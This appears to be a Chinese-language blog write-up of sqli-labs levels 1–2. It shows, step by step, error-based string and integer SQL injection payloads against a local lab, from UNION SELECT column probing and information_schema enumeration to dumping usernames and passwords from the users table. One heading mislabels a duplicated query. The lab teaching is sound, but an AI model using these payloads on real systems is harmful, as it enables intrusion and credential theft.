字符串转数字 sql_SQL注入·sqli-labs·基于错误的字符串/数字型注入(第1~2关)

cd72b344889993250bbd521deaa6dbaa.png

Less-1

先以get方式输入?id=1 or 1=1 --,结果如下,未报错并且绿字反馈用户名及密码:

http://127.0.0.1/sqli-labs/Less-1/?id=1 or 1=1 --

9cd3a10997f195c572d59bf1a60e1c1a.png

测试闭合符号,常见的闭合符号有'"')"),这一题用到的闭合符号恰巧都能使用

判断列数oeder by (by 3测试字段数为3)

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

c6497b261ff36fa08488a3aad6dd1a3c.png

直到值为4的时候反馈库中没有第四列数据:

87d0a08eb6c777b8945c3dab5c5464a4.png

union联合查询 测试联合查询库中有的前三列,格式如下,做间隔符:

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 --+

没有报错证明命令格式无误,但依旧反馈两个大大的绿色 Dumb ,依旧不是我们想要的,问题在于union前面的id,ID值为1的1、2、3列表内没有数据不代表别的ID值内没有,尝试更换ID值继续测试:

http://127.0.0.1/sqli-labs/Less-1/?id= X ' and 1=2 union select 1,2,3 --+

将以上命令中的红色X(ID值)替换得到的不同反馈如下: ID=0时(无信息)↓---------------------------ID=2时(有趣)↓

5fa894b71586b1c64b9eee75adebff19.png

d3f323337dc24e63a21bee5c59605d09.png

前面的步骤自从判断闭合符之后就是一下这个样子

Your Login name:Dumb
Your Password:Dumb

差点让我放弃,我以为我的靶场坏了呢,突然反馈这么多有趣的信息,立刻精神倍儿棒。继续!

?id=0' union select 1,version(),database() --+

57159c6b714617f18730e5b3b9a455b4.png

此处宽字节注入涉及到的函数: addslashes() 函数返回在预定义字符之前添加反斜杠的字符串; database()查询数据库; mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符; mysql_escape_string() — 转义一个字符串; version()Version确认(版本确认);

查看所有数据库名:

?id=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

f1caef2fa8c5876f447dc362b59a93de.png

查询security内的所有表名:

?id=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

e54ebf66d4ddbf45b653f49be49a3b7d.png

爆数据表——使用下面的语句爆破出列名:

?id=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

7c6cbe3b07e403b0678bd9b6e7d7a890.png

爆用户名和密码——使用下面的语句爆破出用户名及密码:

?id=1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

a7a13bb7676a9d63e963174d8b9a8752.png

Less-2

第一步先判断闭合符,键入?id=1并逐个判断闭合符号 报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

不仅是'爆出这样的错误,常见的闭合符'"')")都报出同样的错误。 通过键入

?id=1 and 1=1 --+

反馈亲切的: Your Login name:Dumb Your Password:Dumb 推断出闭合符为整形

16b4c364a9db248760e58ceea852df87.png

同第一题判断数列order by,同第一题一样列数为三列:

68fca6d113f58a52945b30ee2c7b6187.png

查看回显地点

?id=-1 union select 1,2,3–+

利用联合查询来查找想要的数据:

?id=-1 union select 1,database(),version()--+

9adab157dadf4b0c2794c45ba8173129.png

查看后台数据库的语句,可见与预期相符:

1165e38839abc3e097348693293cf9fb.png

爆用户名和密码,与第一题几乎一样,区别在于闭合符号,第二题考察到的是整形闭合符号,第一题的是'

?id=-1 AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

510415fbe7831ccc037324c8fe9ac30d.png

未完待续......

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值